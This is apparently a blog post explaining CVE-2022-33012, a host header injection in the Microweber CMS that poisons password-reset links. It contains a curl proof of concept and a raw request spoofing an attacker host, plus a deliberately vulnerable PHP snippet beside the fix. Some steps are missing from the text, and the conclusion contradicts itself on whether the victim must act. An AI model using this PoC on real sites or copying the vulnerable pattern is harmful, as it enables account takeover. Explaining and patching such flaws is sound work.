When you trust a Content Management System (CMS) such as Microweber, you expect it to keep your website and users secure. But in 2022, a severe vulnerability was found that allowed attackers to easily hijack user accounts. This post will explain CVE-2022-33012 using simple American English, highlight the risk, and walk you through how the bug works—complete with code snippets and references.

What Is Microweber and Why Does This CVE Matter?

Microweber is an open-source drag-and-drop website builder based on PHP and Laravel. The project has over 13,000 stars on GitHub and powers hundreds of sites.

In version 1.2.15 and possibly others, Microweber was vulnerable to host header injection—a web bug where a server blindly trusts the Host: header sent by the visitor’s browser. This trust can lead to creation of password reset links or verification emails that point to an attacker’s site, instead of the legitimate one. If you control the host header, you can hijack user accounts with frightening ease.

More About CVE-2022-33012

Official entry:
https://nvd.nist.gov/vuln/detail/CVE-2022-33012

Discovered by kerbit (original advisory here), CVE-2022-33012 affects Microweber v1.2.15, and lets attackers craft malicious links for password resets and similar flows.

https://YOUR-WEBSITE.com/reset?token=XXX

The problem is, Microweber builds the full URL using the Host header from the visitor’s request. Unfortunately, the developers did *not* restrict or verify the Host value—it uses whatever the client sends. That allows attackers to trick the web server into using *their* malicious domain in the reset email.

`

POST /user/reset-password HTTP/1.1

Host: attacker.evil.com

Content-Type: application/x-www-form-urlencoded

`

https://attacker.evil.com/user/reset-password?token=SENSITIVE_TOKEN

5. The attacker intercepts the token or tricks the victim to submit it to their own server, then completes the password reset flow and seizes control of the victim’s account.

Here’s a spoofed curl command demonstrating the attack

curl -v -X POST \
  -H "Host: evil.attacker.com" \
  -d "email=victim@example.com" \
  http://target-microweber-site.com/user/send-password-link


https://evil.attacker.com/user/reset-password?token=abcdef123456

If the user follows this link—and the attacker is serving content at that host—they can steal the token or hijack the session.

Here's a simplified example in PHP

// (Not actual Microweber code – simplified for clarity)
function sendPasswordReset($userEmail) {
    $host = $_SERVER['HTTP_HOST']; // <- Attacker controls this
    $token = generateToken();
    $resetUrl = "https://$host/user/reset-password?token=$token";;
    // Now sends $resetUrl to the victim!
    mail($userEmail, "Your password reset link: $resetUrl");
}

The critical error? There’s no check on the trusted domain name.

How Should This Be Fixed?

Always use your application’s *real* base URL to build links—never trust $_SERVER['HTTP_HOST'] or headers from the requester.

Safer PHP code

$baseUrl = 'https://my-real-website.com';; // Hardcoded or from safe config
$resetUrl = "$baseUrl/user/reset-password?token=$token";

Mitigation and Patch

- Upgrade: The Microweber team fixed this in later versions. Upgrade to the latest Microweber release.
- WAF protection: Consider configuring a web application firewall to filter suspicious Host headers.

References & Further Reading

- CVE-2022-33012 at NVD
- kerbit’s original GitHub issue (exploit details)
- OWASP: Host Header Attacks
- Microweber Security Advisories

Conclusion

Host header injection is a subtle but serious threat for web apps. As CVE-2022-33012 shows, neglecting simple checks can let attackers take over user accounts without any brute force or interaction. Always upgrade your CMS, sanitize headers, and keep up with security advisories.

If you run Microweber or any similar system, patch your site now—and remember: Never trust user input, especially HTTP headers.

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/28/2022 15:16:00 UTC